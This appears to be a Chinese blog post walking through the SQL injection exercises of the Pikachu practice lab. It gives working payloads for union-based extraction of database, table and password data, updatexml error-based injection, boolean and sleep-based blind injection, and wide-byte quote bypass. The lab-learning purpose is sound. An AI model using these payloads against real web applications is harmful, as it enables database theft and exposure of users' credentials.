Pikachu系列之SQL注入(Sql Inject)

我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。

本节目录:
* 数字型注入(post)
* 字符型注入(get)
* 搜索型注入
* xx型注入
* “insert/update”注入
* “delete”注入
* “http header”注入
* 盲注(base on boolian)
* 盲注(base on time)
* 宽字节注入

前文:

Pikachu靶机系列之安装环境

Pikachu靶机系列之暴力破解(一)

Pikachu靶机系列之暴破(二):token防爆破

Pikachu靶机系列之XSS(Cross-Site Scripting)

Pikachu靶机系列之CSRF(Cross-Site Request Forgery)


数字型注入(post)

在这里插入图片描述
抓包分析右键Repeater,探测是否存在注入点,and 1=1,正常
在这里插入图片描述
And 1=2,ID不存在,证明存在注入点。
在这里插入图片描述
探测回显,order by 5 不行
在这里插入图片描述
一直试探到order by 2才有正常回显
在这里插入图片描述
探测哪个位置会作出回应,
在这里插入图片描述
然后开始爆库
在这里插入图片描述
知道库名爆表名
在这里插入图片描述
总共五个表
知道表名爆列名,那就选表名为users的列有什么,这列也太多了啊
在这里插入图片描述
知道列名就可以爆内容了那就找个密码爆出来好了
在这里插入图片描述
总结一下上述步骤用到的payload

id=2 and 1=1
Id=2 and 1=2
Id=2 order by 2
Id=2 and 1=2 union select 1,database()
Id=2 and 1=2 Union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
Id=2 and 1=2 union select1, group_concat(column_name) from information_schema.columns where table_name='表名'
id=2 and 1=2 union select 1,group_concat( password) from users where id=2

下面,找到注入点,就不详细操作了。


数字型注入(post)

(引号要用英文的引号,中文引号不符合数据库语法标准) 加上引号,报错,引号后面注释符#,正常,证明这里存在字符型注入
在这里插入图片描述
使用payload vince’ or 1=1# 即可把所有人的邮箱爆出来
在这里插入图片描述


搜索型注入

输入vince%‘报错,加上注释符#即可正常,证明此初存在注入点
在这里插入图片描述
如果想爆库爆列爆表,只要在vince’和#中间插进内容就行了,就不详细操作了
在这里插入图片描述


xx型注入

这题搞不懂,我们就来看看源码是怎么写的
在这里插入图片描述
所以我们要构造‘)来进行闭合
vince’) 输入报错,加上注释符,有正常反应
vince’) or 1=1#
在这里插入图片描述
操作是和第一步一样的我就不重复了
爆出密码

vince') and 1=2 union select 1,group_concat( password) from users#

在这里插入图片描述


“insert/update”注入

insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

提示要先注册,那就进入注册页面
在这里插入图片描述
看到必填的两个选项,
用户填‘单引号,密码填123看是否报错
在这里插入图片描述
后台没有屏蔽数据库报错信息,在语法发生错误时输出在前端
在必填的两个框之中的一个填上爆错注入的payload

' or updatexml(1,concat(0x7e,(select database()),0x7e),1))#

在这里插入图片描述
往下只要在select后面填入相关爆表爆列的语句即可

' or updatexml(1,concat(0x7e,(select      )#

例如

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1))#

“delete”注入

进去之后,都是之前xss玩下的留言列表,先抓包,然后点击删除
在这里插入图片描述
Payload是 or updatexml (1,concat(0x7e,datebase()),0)

但是这里我要把空格替换成+或者%20才行,关于这里我查阅了一些资料:

现在几乎所有的网站都对url中的汉字和特殊的字符,进行了urlencode操作
空格。为了防止引起歧义,需要被转化为“+”

在这里插入图片描述
然后我参考了下luffy5459 作者的(URLEncoder关于空格转成加号(+)的问题)的这篇文章

得出的结论是正常情况下空格不应该转换为+,而是转换为%20。

在这里插入图片描述


“http header”注入

根据提示用admin 123456登入进去,然后被警告了,
在这里插入图片描述
这里的问题挺多的,跟http头里面有关的字段都可以测试一下,如下
在这里插入图片描述
在这里插入图片描述

看到这里,我在想,为什么这里的注入点就可以不用把空格转换成%20,试了下+号也不行,这是为什么,如果懂的朋友请私信教一教我,拜托了。


盲注(base on boolian)

输入vince
在这里插入图片描述
vince’
没有回显,加上注释符#
在这里插入图片描述
正确有回显
在这里插入图片描述
不正确没有回显
在这里插入图片描述
知道了注入点,只能通过真或者假来获取数据或者跑sqlmap,给出一些基本的盲注语句
判断库名长度

判断库名长度
and length(database())=长度数字#
判断库名的组成
and ascii(substr(database(), 1, 1)) = ascii的表中字母对应的数字#(这里1,1 代表着第一个数据的第一个字母)
猜解表名,猜解列名也是用这个语法
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115

但pikachu这题盲注出的不好,只要像第一题那样就可以爆出库名了
在这里插入图片描述


盲注(base on time)

输入paylod测试

vince' and sleep(10)#

在这里插入图片描述
这里只要用上常规的时间盲注语法套入就可以了。就是比较麻烦要细心。或者用sqlmap跑


宽字节注入

在这里插入图片描述
抓包,构造的payload:vince%df%27 or 1=1#
在这里插入图片描述
如果想要爆表爆列只需要在vince%df%27和#中间插入语句即可,如下
在这里插入图片描述

发布了23 篇原创文章 · 获赞 31 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_41598660/article/details/103977011